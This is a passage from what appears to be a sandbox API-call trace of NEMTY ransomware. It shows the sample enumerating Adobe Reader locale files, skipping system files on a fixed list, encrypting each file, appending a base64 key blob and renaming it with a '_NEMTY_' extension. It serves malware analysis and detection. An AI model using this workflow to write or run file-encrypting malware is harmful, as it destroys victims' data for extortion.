lpWideCharStr="Reflow.HRV", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.673] Sleep (dwMilliseconds=0x5) [0177.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d8db1f0, dwHighDateTime=0x1d561e8)) [0177.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d8db1f0, dwHighDateTime=0x1d561e8)) [0177.682] GetLastError () returned 0x0 [0177.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.682] GetLastError () returned 0x0 [0177.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.682] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.682] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.682] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.682] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="S8heNR9zQVvc+Ezf798+Z3hBVGU1FaTaPNkObY4ECRSY8zKFAPlUabAYEzosHTVh\r\nX03HTjpMBcybjWbzKLr+vtmCpF6fbYkREH7VNdJvKdsJRPcBfSiL6nsdYb97JARE\r\nkLXGF5PxbwLHJ3Wc4tXbG0nCclnQhJT+qoAEOl8ksIF5ywcK+xKEwOe1uaVc1AWz\r\nlVKScSeFujZ6+K2lNu4dg23VVW9P0/rL6kqVZ/Cc+1tshkgg0pov+GidlXC1cqRg\r\nLs33CfCQ+tb1mr601MJC8Q+6BvQT3jORqkv2LGNsoGcWz5rh2MLz1MLuHHUP6X5a\r\nc1lbu7Ajw2BKNacv/sAqWA==\r\n", pcchString=0x653e5dc) returned 1 [0177.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.682] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Reflow.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\reflow.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.683] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0177.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0177.683] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.683] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0177.687] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.687] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0177.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.687] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0177.687] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.687] CloseHandle (hObject=0x2e8) returned 1 [0177.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0177.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.687] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Reflow.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\reflow.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Reflow.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\reflow.hrv._nemty_kgobjgd_")) returned 1 [0177.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0177.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.689] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.HRV", cAlternateFileName="SAVEAS~1.HRV")) returned 1 [0177.689] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2=".") returned 1 [0177.689] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="..") returned 1 [0177.689] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="...") returned 1 [0177.689] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="windows") returned -1 [0177.689] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.689] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="rsa") returned 1 [0177.689] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="NTDETECT.COM") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="ntldr") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="MSDOS.SYS") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="IO.SYS") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="boot.ini") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="boot.ini") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="ntuser.dat") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="desktop.ini") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="CONFIG.SYS") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="RECYCLER") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="bootmgr") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="programdata") returned 1 [0177.690] lstrcmpiW (lpString1="SaveAsRTF.HRV", lpString2="appdata") returned 1 [0177.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HRV", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.HRV", lpUsedDefaultChar=0x0) returned 13 [0177.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HRV", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.HRV", lpUsedDefaultChar=0x0) returned 13 [0177.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HRV", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.HRV", lpUsedDefaultChar=0x0) returned 13 [0177.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HRV", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.HRV", lpUsedDefaultChar=0x0) returned 13 [0177.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.691] Sleep (dwMilliseconds=0x5) [0177.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d901350, dwHighDateTime=0x1d561e8)) [0177.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d901350, dwHighDateTime=0x1d561e8)) [0177.697] GetLastError () returned 0x0 [0177.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.697] GetLastError () returned 0x0 [0177.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.698] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.698] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.698] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.698] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="W90zZtoxIFxl9Xm9JtMsCZtFW2ND+puEGyZXrI5k89wnHjkVOsucmv7rRcx/dB6c\r\nodW4tYSDk3ExvLwHWdSLYFMA7mz179jLmwpESSbjE6eJWg7wAvP2hK/4FjVRDqRy\r\nSrbLooVAc8TPND1oglhn+CcZ7aWMuewzY+SkeKc7JD//5AX8gkjtOBjzjRTI5RCD\r\nbWnFYmrLuOo21RZQxq6R1mVMTWN01b4qPrewW39kB45ZmAJ2VSR4AIRZeEINhpWX\r\n49npRTSUifObo5urQGztL42ZSSSNhlAjPETsl+DZ79+3HgsM4Z4b30iIK86ugygw\r\nZy9T6E83fVOl6NlUVsh3sw==\r\n", pcchString=0x653e5dc) returned 1 [0177.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.698] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SaveAsRTF.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\saveasrtf.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.698] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0177.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0177.698] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.698] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0177.701] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.701] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0177.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.701] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0177.701] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.702] CloseHandle (hObject=0x2e8) returned 1 [0177.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.702] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SaveAsRTF.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\saveasrtf.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SaveAsRTF.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\saveasrtf.hrv._nemty_kgobjgd_")) returned 1 [0177.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.703] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.HRV", cAlternateFileName="")) returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2=".") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="..") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="...") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="windows") returned -1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="rsa") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="NTDETECT.COM") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="ntldr") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="MSDOS.SYS") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="IO.SYS") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="boot.ini") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="boot.ini") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="ntuser.dat") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="desktop.ini") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="CONFIG.SYS") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="RECYCLER") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="bootmgr") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="programdata") returned 1 [0177.703] lstrcmpiW (lpString1="Search.HRV", lpString2="appdata") returned 1 [0177.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HRV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HRV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.704] 